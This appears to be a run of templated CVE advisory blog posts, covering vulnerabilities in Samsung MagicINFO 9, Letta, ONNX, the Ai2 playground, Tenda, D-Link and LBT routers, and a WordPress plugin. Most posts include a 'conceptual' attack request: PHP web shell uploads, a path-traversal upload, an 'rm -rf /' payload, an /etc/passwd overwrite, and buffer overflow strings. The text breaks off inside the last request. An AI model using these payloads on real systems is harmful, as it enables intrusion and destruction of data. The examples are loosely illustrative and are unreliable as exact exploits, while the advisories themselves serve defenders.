Author: Ameeba

Overview

We’re delving into a critical vulnerability identified as CVE-2025-54442 in this blog post. This security flaw affects Samsung Electronics MagicINFO 9 Server, a popular digital content management solution. This vulnerability notably allows for unrestricted file uploads of dangerous types, leading to potential code injection.
The gravity of this flaw lies in its potential for system compromise and data leakage, posing a massive threat to the confidentiality, integrity, and availability of sensitive data. Therefore, understanding this vulnerability, its potential impact, and mitigation strategies is essential for all organizations using MagicINFO 9 Server.

Vulnerability Summary

CVE ID: CVE-2025-54442
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Samsung Electronics MagicINFO 9 Server | < 21.1080.0 How the Exploit Works

This vulnerability arises from the server’s inadequate validation of uploaded files. An attacker can exploit this by uploading a malicious file of a dangerous type, such as a script or a binary executable. The server, failing to validate or sanitize the uploaded file, would then process it, leading to code injection. This could allow the attacker to execute arbitrary code or commands on the server, potentially compromising the system or causing data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. They could send a HTTP POST request to a vulnerable endpoint on the server, including a malicious payload in the body of the request:

POST /upload HTTP/1.1
Host: vulnerable-server.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
<?php system($_GET['cmd']); ?>

In this example, the attacker uploads a PHP script that allows them to execute arbitrary system commands passed through the ‘cmd’ GET parameter. If the server processes this script, the attacker achieves code execution.

How to Mitigate this Vulnerability

The primary mitigation for CVE-2025-54442 is applying the vendor-provided patch. Samsung has released a patch for MagicINFO 9 Server version 21.1080.0 and above that addresses this vulnerability. All users are strongly encouraged to update their servers to this or a more recent version.
As a temporary mitigation, organizations can also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, this should be considered a stopgap measure until the server can be patched.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a new critical vulnerability, CVE-2025-54440, affecting Samsung Electronics’ MagicINFO 9 Server. This is a severe vulnerability that allows unrestricted upload of a file with a dangerous type, leading to potential code injection. It is particularly alarming because it can potentially enable an attacker to compromise the system or leak data. This vulnerability is of special concern for organizations using MagicINFO 9 Server versions less than 21.1080.0.

Vulnerability Summary

CVE ID: CVE-2025-54440
Severity: Critical, CVSS 9.8
Attack Vector: Network-based
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Samsung Electronics MagicINFO 9 Server | Less than 21.1080.0

How the Exploit Works

The vulnerability allows an attacker to upload a file of an unrestricted type. Typically, the server should have restrictions in place to prevent the upload of potentially dangerous file types. However, in this case, the server fails to enforce such restrictions. This oversight can lead to potential code injection if a malicious actor uploads a file containing malicious code. Once uploaded, the malicious file can be executed, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a simple HTTP POST request that uploads a malicious file to a vulnerable endpoint on the server.

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="exploit.php"
<?php
// malicious code here
?>

Mitigation Guidance

Users of Samsung Electronics MagicINFO 9 Server are advised to apply the vendor patch as soon as it is available. This patch will fix the vulnerability and prevent the unrestricted upload of files with dangerous types. In the meantime, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and prevent the upload of dangerous file types so as to limit the potential impact of this vulnerability.

Overview

The cybersecurity landscape is witnessing an uptick in the number of vulnerabilities discovered in widely used software and systems. Recently, a potentially devastating vulnerability has been uncovered in Samsung Electronics MagicINFO 9 Server software. Labelled as CVE-2025-54438, this vulnerability opens up a path for cyber attackers to upload a web shell to the web server, leading to system compromise or potential data leakage. The scope of this vulnerability is vast as it affects all servers running versions less than 21.1080.0 of MagicINFO 9 Server, and given the popularity and widespread deployment of Samsung’s software, the impact could be significant.

Vulnerability Summary

CVE ID: CVE-2025-54438
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Samsung Electronics MagicINFO 9 Server | Less Than 21.1080.0

How the Exploit Works

This vulnerability, technically known as an “Improper Limitation of a Pathname to a Restricted Directory” or “Path Traversal” vulnerability, allows attackers to manipulate the input data in such a way that they can navigate through the server’s directory structure beyond the intended boundaries. In the specific case of CVE-2025-54438, this method allows a malicious actor to upload a web shell to the web server, effectively gaining control of the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. An HTTP POST request could be manipulated to include a malicious payload, as shown below:

POST /upload/ HTTP/1.1
Host: vulnerableserver.com
Content-Type: multipart/form-data; boundary=BOUNDARY
--BOUNDARY
Content-Disposition: form-data; name="file"; filename="../../../../../../var/www/shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
--BOUNDARY--

In this example, the attacker is trying to upload a PHP shell script to the server’s web root directory, which could then be executed to run arbitrary commands on the server remotely.

Mitigation Guidance

A patch has already been released by Samsung to fix this vulnerability. All MagicINFO 9 Server users should update their software to version 21.1080.0 or above as soon as possible. Meanwhile, as a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical vulnerability, CVE-2025-51482, in the letta-ai Letta software. This vulnerability allows for Remote Code Execution (RCE), potentially leading to serious system compromise or data leakage. As Letta is widely used for data management in artificial intelligence applications, this vulnerability could affect a significant number of end users and businesses. The understanding and prompt mitigation of this vulnerability is paramount to prevent possible cyber attacks.

Vulnerability Summary

CVE ID: CVE-2025-51482
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

Letta-ai Letta | 0.7.12

How the Exploit Works

The flaw resides in the letta.server.rest_api.routers.v1.tools.run_tool_from_source endpoint of the Letta software. Remote attackers can send specially crafted payloads to this endpoint which can bypass the intended sandbox restrictions. By exploiting this vulnerability, attackers can execute arbitrary Python code and system commands, potentially leading to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited, using a malicious HTTP request:

POST /v1/tools/run HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "payload": "import os; os.system('rm -rf / --no-preserve-root')" }

In this conceptual example, the payload contains Python code that would delete all files on the server if executed. This is a destructive action and illustrates the potential severity of this vulnerability.

Remediation

The best way to mitigate the risk associated with CVE-2025-51482 is to apply the vendor-provided patch. If the patch is not immediately available or applicable, temporary mitigations could include using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on crafted payloads to the /v1/tools/run endpoint. As always, following best practices for secure coding and regularly updating and patching software can prevent exposure to these types of vulnerabilities.

Overview

A critical security vulnerability, identified as CVE-2025-8019, has recently been discovered in Shenzhen Libituo Technology LBT-T300-T310 version 2.2.3.6. This vulnerability can be exploited remotely by an attacker, potentially leading to a system compromise or data leakage. It is a serious flaw that requires immediate attention due to its high criticality and potential impact on the affected systems.
The vulnerability lies in the function sub_40B6F0 of the file at/appy.cgi. The manipulation of the argument wan_proto can result in buffer overflow, making the system susceptible to further malicious attacks. It’s important for organizations using these systems to understand the potential risks and take immediate action for remediation.

Vulnerability Summary

CVE ID: CVE-2025-8019
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Shenzhen Libituo Technology LBT-T300-T310 | 2.2.3.6

How the Exploit Works

This exploit works by manipulating the wan_proto argument in the function sub_40B6F0 of the at/appy.cgi file, causing buffer overflow. Buffer overflow is a common type of security exploit where an application writes more data to a fixed-length block of memory (the buffer) than the buffer is designed to hold. This overflow can cause the application to crash or, in the worst-case scenario, allow an attacker to execute arbitrary code on the system.

Conceptual Example Code

As an illustrative example, an attacker might send a malicious HTTP request similar to the one below to the vulnerable endpoint:

POST /at/appy.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
wan_proto=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In the above example, the “wan_proto” argument is filled with an excessively long string of “A” characters, intended to overflow the buffer and potentially allow the attacker to execute arbitrary code.
Please note: This is a simplified, conceptual example and may not represent an actual exploit code for this vulnerability.

Overview

The cybersecurity landscape is constantly evolving, and staying ahead of threats is a continuous challenge. One recent vulnerability, identified as CVE-2025-51480, is a path traversal vulnerability in ONNX 1.17.0. This vulnerability allows attackers to overwrite arbitrary files by supplying crafted external_data.location paths that contain traversal sequences. This effectively bypasses the intended directory restrictions, leading to potential system compromise or data leakage. It is crucial for users and system administrators to understand the nature of this vulnerability and take necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-51480
Severity: High (8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

ONNX | 1.17.0

How the Exploit Works

The exploit works by taking advantage of a flaw in the external_data_helper.save_external_data function of ONNX 1.17.0. An attacker can manipulate the external_data.location path, which the ONNX software uses to save data, to include path traversal sequences. This can cause the software to write data to unintended locations, overwriting existing files or creating new ones. This could potentially lead to the execution of arbitrary code or unauthorized data access if system files are overwritten.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. The attacker crafts a JSON payload that includes a path traversal sequence in the external_data.location field:

POST /api/save_data HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"external_data": {
"location": "../../../etc/passwd",
"data": "malicious_data"
}
}

In this example, the server might end up saving the “malicious_data” to the “/etc/passwd” file, a critical system file in Unix-like systems, potentially leading to system compromise.

Mitigation

The recommended mitigation for CVE-2025-51480 is to apply the vendor patch. This should resolve the vulnerability and prevent future exploitation. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious requests can serve as a temporary mitigation. It is also recommended to always follow the principle of least privilege when setting file and directory permissions, restricting the potential impact of such vulnerabilities.

Overview

In the realm of cybersecurity, the discovery of new vulnerabilities is a critical step in the ongoing battle to protect systems and data. The recently identified vulnerability, CVE-2025-51865, affects the Ai2 playground web service (playground.allenai.org) LLM chat. This vulnerability matters because it exposes sensitive data to potential attackers and could result in a systemic compromise or data leakage.
The vulnerability lies in the LLM chat system and is due to an Insecure Direct Object Reference (IDOR) flaw. IDOR is a common web application vulnerability that allows an attacker to bypass authorization and directly access resources in the system.

Vulnerability Summary

CVE ID: CVE-2025-51865
Severity: High, CVSS Score 8.8
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Ai2 playground web service | All versions up to 2025-06-03

How the Exploit Works

The exploit takes advantage of the Insecure Direct Object Reference (IDOR) vulnerability in the LLM chat system of the Ai2 playground web service. By manipulating the thread keys in the URL, an attacker can enumerate through the different chat threads and gain unauthorized access to sensitive information.

Conceptual Example Code

A potential exploitation of the vulnerability might look like this:

GET /LLMChat/thread?thread_key=12345 HTTP/1.1
Host: playground.allenai.org

In this conceptual example, the attacker modifies the `thread_key` parameter in the URL. By enumerating through different values for this parameter, the attacker can potentially access chat threads they should not have access to.

Mitigation Guidance

In order to mitigate the risk associated with this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. Until then, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent unauthorized access. Regular monitoring and updating of systems are also crucial in reducing the risk of such vulnerabilities.

Overview

In the ever-evolving landscape of cybersecurity, the recent discovery of a critical vulnerability in Tenda AC7 15.03.06.44 has raised significant concerns among security experts. Classified as CVE-2025-8017, this vulnerability pertains to the function formSetMacFilterCfg in the file /goform/setMacFilterCfg of the httpd component. It allows a malicious actor to execute a stack-based buffer overflow by manipulating the argument deviceList. The gravity of the situation is further amplified by the fact that the exploit has been disclosed to the public and can be launched remotely, potentially affecting a large number of systems globally.
The vulnerability matters because it poses a significant threat to data security and system integrity. If exploited successfully, it could lead to potential system compromise and data leakage. This necessitates immediate attention and action from all users of the affected Tenda device.

Vulnerability Summary

CVE ID: CVE-2025-8017
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC7 | 15.03.06.44

How the Exploit Works

The vulnerability, CVE-2025-8017, resides in the function formSetMacFilterCfg of the httpd component in Tenda AC7. A buffer overflow condition occurs when a malicious actor manipulates the argument deviceList. This overflow, being stack-based, can lead to arbitrary code execution. Since the vulnerability can be exploited over the network without any form of authentication, it poses a high risk to the integrity and confidentiality of the system.

Conceptual Example Code

An example of how the vulnerability might be exploited could look something like this:

POST /goform/setMacFilterCfg HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "deviceList": "AAAAA....[5000 A's].....AAAAA" }

Here, the “deviceList” argument is filled with a large number of ‘A’s to overflow the buffer and potentially allow for arbitrary code execution.

Mitigation Guidance

It is crucial to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to monitor network traffic for any suspicious activities and isolate affected systems to prevent any potential spread in the network.

Overview

The vulnerability CVE-2015-10140 is a serious cybersecurity issue that affects the Ajax Load More plugin versions prior to 2.8.1.2. This plugin, widely used for loading more content via AJAX calls, failed to sufficiently authorize some of its AJAX actions. This flaw allows any authenticated users, even those with the low-level subscriber role, to upload and delete arbitrary files on the system. This kind of vulnerability is a significant threat to any website running the affected versions of the plugin, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2015-10140
Severity: High (8.8 CVSS v3 Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Ajax Load More Plugin | Before 2.8.1.2

How the Exploit Works

This exploit takes advantage of the lack of proper authorization checks in some of the AJAX actions implemented by the Ajax Load More plugin. Specifically, an authenticated user, such as a subscriber, can send a specially crafted AJAX request to upload or delete arbitrary files on the server. The unauthorized file upload can be used to deploy malicious scripts or web shells, while the file deletion capability can lead to data loss or disruption of website functionality.

Conceptual Example Code

The following conceptual HTTP request demonstrates how the vulnerability might be exploited:

POST /wp-admin/admin-ajax.php?action=alm_save_repeater&nonce=1234567890 HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="template"
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, a malicious actor uses the `alm_save_repeater` AJAX action provided by the Ajax Load More plugin to upload a PHP file that allows arbitrary command execution on the server.

Mitigation

To mitigate this vulnerability, users are advised to update the Ajax Load More plugin to version 2.8.1.2 or later where this vulnerability has been fixed. If updating is not immediately possible, users can consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. It is also recommended to regularly monitor system logs and audit any suspicious activities.

Overview

A critical vulnerability has been identified in D-Link DIR-513 routers up to the 20190831 version. This vulnerability is associated with the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus, and the manipulation of the argument ‘curTime’ can lead to a buffer overflow. This flaw is especially alarming as it can be exploited remotely, potentially leading to system compromise or data leakage. It primarily affects products that are no longer supported by D-Link, increasing the risk for users with outdated devices.

Vulnerability Summary

CVE ID: CVE-2025-7945
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

D-Link DIR-513 | Up to 20190831

How the Exploit Works

The vulnerability lies within the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus. In this function, the ‘curTime’ argument is mishandled, leading to a buffer overflow. An attacker can exploit this flaw by sending a specifically crafted request that manipulates the ‘curTime’ parameter. This could cause the system to overflow its buffer, leading to unexpected behavior, potential system crash, and even execution of arbitrary code. This exploit can be initiated remotely, and it does not require user interaction or privileges.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This consists of a HTTP request with a manipulated ‘curTime’ parameter:
“`http
POST /goform/formSetWanDhcpplus HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
curTime=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000